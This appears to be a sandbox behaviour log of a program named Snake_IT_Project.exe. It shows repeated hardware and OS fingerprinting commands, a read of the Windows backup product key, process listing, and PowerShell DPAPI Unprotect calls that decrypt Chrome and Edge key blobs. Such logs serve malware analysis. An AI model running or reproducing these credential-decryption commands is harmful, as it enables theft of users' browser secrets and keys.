C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2540
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2112
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4460
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4004
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2460
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3892
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1512
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1724
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1044
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5036
-
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2136
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1220
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:392
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1728
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4780
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3840
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3368
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3080
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2780
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1484
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4820
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1080
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2148
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4032
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2608
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5060
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5820
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5176
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5488
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5684
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2948
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:6056
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:6064
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5604
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5460
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5520
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:6004
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3388
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5144
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5612
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5552
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5868
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4800
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4272
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:6032
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5508
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3480
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5504
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5832
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1508
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5336
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5796
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5268
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4384
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2228
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2280
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5692
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4804
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5136
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5468
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5656
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3388
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5736
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5648
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:6112
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1372
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2380
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5172
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5636
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4280
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2372
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5216
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6084
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5564
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1056
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5868
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5856
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5184
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:6016
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5592
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5512
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5732
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5600
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5460
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2640
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5300
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5276
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5572
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5124
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5788
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5272
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:228
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5192
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2288
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5888
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5288
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6056
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5680
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5172
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5984
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:6108
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5732
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5652
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5684
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5548
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5200
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5624
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1716
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3512
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5488
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5520
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2228
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5652
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:6108
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5488
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4696
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5832
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2256
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5280
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:6016
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5216
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2380
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5592
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1872
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:6040
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2112
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5616
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4384
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5724
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5500
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6068
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5756
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:404
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5768
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5872
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1020
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:6080
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5700
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5524
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5788
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1368
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3740
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5608
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4696
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1508
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5624
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5840
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2948
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3676
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4940
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1632
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4800
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5912
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5652
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4804
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5352
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5980
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5500
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5172
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5124
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:6072
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5356
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2420 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3252
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1508
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"2⤵PID:4536
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1296
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵PID:3076
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:1468
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵PID:4804
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:3720
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,108,43,11,193,7,101,56,196,14,63,26,165,227,238,21,238,227,19,237,244,60,168,166,83,163,130,27,109,64,100,227,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,109,171,61,113,224,41,227,89,40,162,146,114,22,144,190,63,115,78,150,162,62,218,190,78,194,250,204,188,123,237,170,133,48,0,0,0,234,98,225,164,100,19,111,66,197,46,181,35,231,14,65,13,67,20,209,188,27,103,118,0,42,31,143,144,174,199,250,148,164,180,217,213,242,58,13,187,73,238,24,42,100,174,212,181,64,0,0,0,9,162,191,185,199,46,29,255,187,231,132,139,77,53,169,3,221,239,37,33,206,137,138,127,26,148,86,204,196,149,20,220,241,178,147,1,197,153,194,212,46,116,161,154,159,34,230,65,132,55,253,14,194,37,85,15,39,180,214,74,197,194,39,36), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
PID:4748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,201,108,43,11,193,7,101,56,196,14,63,26,165,227,238,21,238,227,19,237,244,60,168,166,83,163,130,27,109,64,100,227,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,109,171,61,113,224,41,227,89,40,162,146,114,22,144,190,63,115,78,150,162,62,218,190,78,194,250,204,188,123,237,170,133,48,0,0,0,234,98,225,164,100,19,111,66,197,46,181,35,231,14,65,13,67,20,209,188,27,103,118,0,42,31,143,144,174,199,250,148,164,180,217,213,242,58,13,187,73,238,24,42,100,174,212,181,64,0,0,0,9,162,191,185,199,46,29,255,187,231,132,139,77,53,169,3,221,239,37,33,206,137,138,127,26,148,86,204,196,149,20,220,241,178,147,1,197,153,194,212,46,116,161,154,159,34,230,65,132,55,253,14,194,37,85,15,39,180,214,74,197,194,39,36), $null, 'CurrentUser')3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3740
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,57,3,227,24,171,115,2,126,199,66,180,165,98,248,252,219,132,18,73,69,143,236,35,7,44,40,230,216,74,204,227,226,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,255,12,162,209,72,208,227,115,24,25,161,135,169,104,150,34,7,88,3,126,124,88,82,3,62,163,79,139,180,10,245,66,48,0,0,0,167,186,202,149,91,63,134,229,50,154,155,156,241,221,51,103,18,81,0,115,235,205,75,45,95,249,70,20,2,172,28,131,99,97,96,161,117,20,5,205,54,178,32,27,199,52,109,54,64,0,0,0,138,43,173,160,193,79,107,46,184,10,187,58,87,204,115,82,110,232,54,158,83,85,226,67,58,27,100,31,2,136,121,247,84,201,243,182,197,120,175,158,0,83,91,220,206,173,175,70,43,117,118,36,148,123,188,125,112,71,250,242,225,201,14,113), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
PID:992 -
